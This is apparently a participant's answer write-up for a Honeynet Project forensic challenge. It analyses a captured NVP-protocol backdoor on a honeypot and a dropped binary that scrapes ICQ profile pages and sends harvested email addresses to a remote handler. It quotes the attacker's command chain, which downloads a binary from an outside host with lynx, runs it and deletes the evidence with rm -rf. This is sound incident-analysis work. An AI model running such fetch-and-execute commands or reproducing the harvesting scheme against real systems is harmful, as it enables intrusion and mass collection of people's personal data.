1. What is the attacker's IP address?

The attackers IP address is 203.173.144.50.

Analysis and Methodology:

The focus of the challenge is to determine the actions of an attacker after they have deployed a network voice protocol (NVP) based remote control utility onto the honeypot. A little research on Google and entries from the Honeynet Reverse Challenge told me that NVP is a IP based protocol developed back in the 70's. Therefore, after downloading and verifying the md5 sum of the snort capture, I loaded the file into ethereal and began my focus on packets whose type was IP.

It turns out that all the IP packets in the capture have their protocol ID set to 11 (0x0b) in the IP headers, which corresponds to NVP. It's quickly realized when reading the last month's Reverse Challenge and looking at the current capture, that the data portion of these packets has also undergone an encoding/obfuscation mechanism.

Therefore, I next downloaded the decoder source code and compiled it so that I could read the contents of each IP packet:

gcc -I /usr/include decoder.c -o decoder -lpcap

Later, I also made a very simple modification to decoder.c, so that I could count each frame as it was examined in pcap_loop(). This allows easy cross reference between the output file and ethereal using the packet number. Patch file available here . (Note that some include statements are commented out to work on my system.)

After the decoder is run against the snort capture using the -a option to include ASCII output,

eg. ./decoder -p snort-0718@1401.log -a > capture-decoded.txt

we can examine the IP NVP packets in more detail.

The attacker's NVP remote control recognizes 12 different commands, which are specified in the second byte of the data portion of each packet:

Command '2' (0x02) is an status/initialization command used to specify an IP address for the backdoor to reply to. It is also used to execute shell commands on the remote host.
Command '3' (0x03) is used to return the results of a shell command run remotely by the attacker.

In the decoded output file the attacker runs 'command 2' twice, then we see a series of 'command 3's'.

I realized that the first thing the attacker would need to do, would be to initialize the backdoor to reply to an IP address where he could recieve the traffic. That's exactly what he did in his first NVP packet to the honeypot:

The first byte is a null reserved field. Byte two and three correspond to 'command 2, option 1'. 'Option 1' tells the backdoor use bytes 4-7 as the IP address to reply to, and to generate several more random addresses in an attempt to hide the true IP address of the attacker. Bytes 4-7 in hex are 0xCB 0xAD 0x90 0x32 . In decimal this becomes 203.173.144.50. Later we see this IP address mixed into two groups of 8 other random addresses when 'command 3' is returned to the attacker.

2.What is the attacker doing first? What do you think is his/her motivation for doing this?

The attacker does a couple things first:

Using the decoded capture file , we first see the initialization command discussed above in packet #7. Once the attacker has successfully initialized the backdoor with his true IP address, he runs the shell command:

grep -i "zone" /etc/named.conf

This is accomplished by sending the backdoor an NVP packet with 0x03 in the second byte of the data field, and is seen as packet #8 in the decoded capture. The backdoor then responds with a batch of mostly spoofed packets containing the results of the command. Two packets are sent to the attacker's real IP address using the method described in question #1.

The most obvious motivation for looking at /etc/named.conf is to determine whether BIND is running on the compromised host, and if so, which zones it answers for. Using the backdoor utility instead of querying the nameserver directly, gives the attacker the information he wants, while minimizing suspicious DNS traffic and logging.

Many malicious activities can take place once an attacker owns a functional Internet DNS server. These range from DDOS DNS reflection attacks, monkey in the middle attacks, and remote root exploits on other DNS servers.

In this case, he finds the PTR zone file for localhost on the honeypot.

3. Why there is some readable text in packets #17-#25 (and some others), but not in packets #15-#16 (and several others)? What differentiates these groups of packets from each other?

The NVP backdoor adds padding to the end of each packet to vary it's size, but the code has a bug concerning the content of the padding. The author mistakenly uses bytes from the previous decoded command output which gets sent across the wire in cleartext. This explains the appearance of plain text in some groups of packets, but not others.

4. What is the purpose of 'foo'? Can you provide more insights about the internal workings of 'foo'? Do you think that 'foo' was coded by a good programmer or by an amateur?

'foo' is a program that downloads ICQ 'Unified Messaging Center' homepages in 100 request batches using sequential UIN's, then sends each user's email address found on their page to a remote host within a UDP packet. 'foo' will continue to do so until told to die by the external handler/UDP server.

A copy of 'foo' can be obtained using ethereal's 'follow TCP stream' feature on the connection from the honeypot to 11.11.11.11:8882. The HTTP commands and responses must be stripped out in a hex editor up until the ELF header of the binary.

We know from packet #72 of the decoded capture, that the attacker transfers 'foo' to the honeypot from a compromised nameserver (ns1.synergycorp.com, 216.242.103.2). However, the packets appear to be spoofed in the capture, because 11.11.11.11 belongs to the DoD. I'm unsure how the attacker might have accomplished this, or whether it's just an artifact of the honeypot network architecture.

Nevertheless, the real source of 'foo' is important because, when executed on the honeypot, 'foo' sends a UDP packet back to 216.242.103.2 on port 53413 and sends the text "GU\n" in the data portion of the packet. The host 216.242.103.2 replies with "DU9207100\n". 'foo' then proceeds to make 99 HTTP GET requests to http://web.icq.com/wwp?Uin=9207100 through 9207199 before the snort capture ends abruptly. Note that the requests are made very slowly and do not constitute a DOS attack.

It seemed odd that 'foo' would stop there however. I figured the attacker must be interested in some portion of data contained on the web pages. I continued to investigate by building a simulated environment to run 'foo' in, hoping to discover what else the program might do.

First I changed the IP address string that 'foo' connects to using khexedit to '192.168.103.2', so that I could study the network traffic that would be generated on my system without bothering the folks at Synergycorp. Next, I ifconfig'ed a virtual interface so that 'foo' would have an IP address to talk to. eg.:

Lastly, I wrote a simple UDP server application to simulate the commands passed back and forth between 'foo' and the remote host. Final source code available here.

While editing the binary in khexedit to change the IP address, I noticed a few interesting bits of data that had not shown up when running strings against 'foo' earlier (strings output). They were: GOT, GU, DIE, DU%lu, SE%lu. These form the basis of a simple transfer protocol that I discovered through a little experimentation as outlined below.

The first time I ran 'foo', after downloading 100 pages 'foo' tried to send to a UDP packet back to 192.168.103.2. The data portion of the packet starts with the string "SE9207100", followed by each user's email address from UIN 9207100-9207200. The early version of the UDP server I wrote did not know how to respond correctly to 'foo's' email address report, so 'foo' simply kept trying to resend the same data.

However, I was able to infer the simple data exchange protocol that 'foo' uses based on the I found in khexedit earlier, and modify the UDP server accordingly. It goes something like this:

Internally, 'foo' is fairly simple. When 'foo' is run under strace (trace file here), it can be seen that it simply changes its UID to 1 (bin), forks, cd /, creates the UDP socket described above, downloads the web pages, and reports back to its external handler.

'foo' also attempts to hide itself while it's running by changing its process name to '(nfsiod)'. This will raise the eyebrows of a sharp admin, because one shouldn't see this on a Linux box like the honeypot, just on BSD hosts. Overall 'foo' doesn't do anything terribly sophisticated and seems rather kludgey. I would judge it to be a quick hack job by an average programmer.

5. What is the purpose of './ttserve ; rm -rf /tmp/ttserve' as done by the attacker?
'ttserve' is really 'foo', the binary referred to in the previous question. The binary is downloaded into /tmp from another compromised host by the attacker. The purpose of the command given above, is to execute the binary and load it into memory, then remove any evidence that is was on the system. The attacker uses semicolons in between shell commands to execute a series of commands on the honeypot within a single NVP packet. The full sequence of commands (which can be found in the decoded capture at packet 72) is:

killall -9 ttserve
lynx -source http://216.242.103.2:8882/foo > /tmp/ttserve
chmod 755 /tmp/ttserve
cd /tmp
./ttserve
rm -rf /tmp/ttserve ./ttserve

6. How do you think the attacker will use the results of his activity involving 'foo'?

Well, he might just want to send them all virtual greeting cards, but I doubt it. :-) It's impossible to say for sure why the attacker is collecting email addresses, but the methods he is using to collect them suggest some type of automated processing occurring elsewhere.

Perhaps he wants to flood the users later, or will attempt to socially engineer personal information from the users. He might also want to sell the addresses to a spammer, or be a spammer himself.

7. Bonus Question

If you administer a network, would you have caught such NVP backdoor communication? If yes, how? If you do not administer a network, what do you think is the best way to prevent such communication from happening and/or detect it?

I don't administrator a network, but I think the best way of preventing such communication is to implement security mechanisms that are consistent with the threats that the network is expected to face. This means that on machines directly connected to the Internet, the risks are very high. In this case, the lesson learned is: All traffic is suspect. Pure IP packets cannot be ignored as a security risk. I realize this was a honeypot, but in most other cases, adopting a default deny stance on the firewall would have helped prevent the host from being owned in the first place. Simple best practices such as keeping WU-FTPD security patches up to date will also help. Of course, then we wouldn't have gotten a chance to learn from the Blackhats and protect ourselves. Thanks for this month's challenge folks!

Appendix A. Summary of Tools used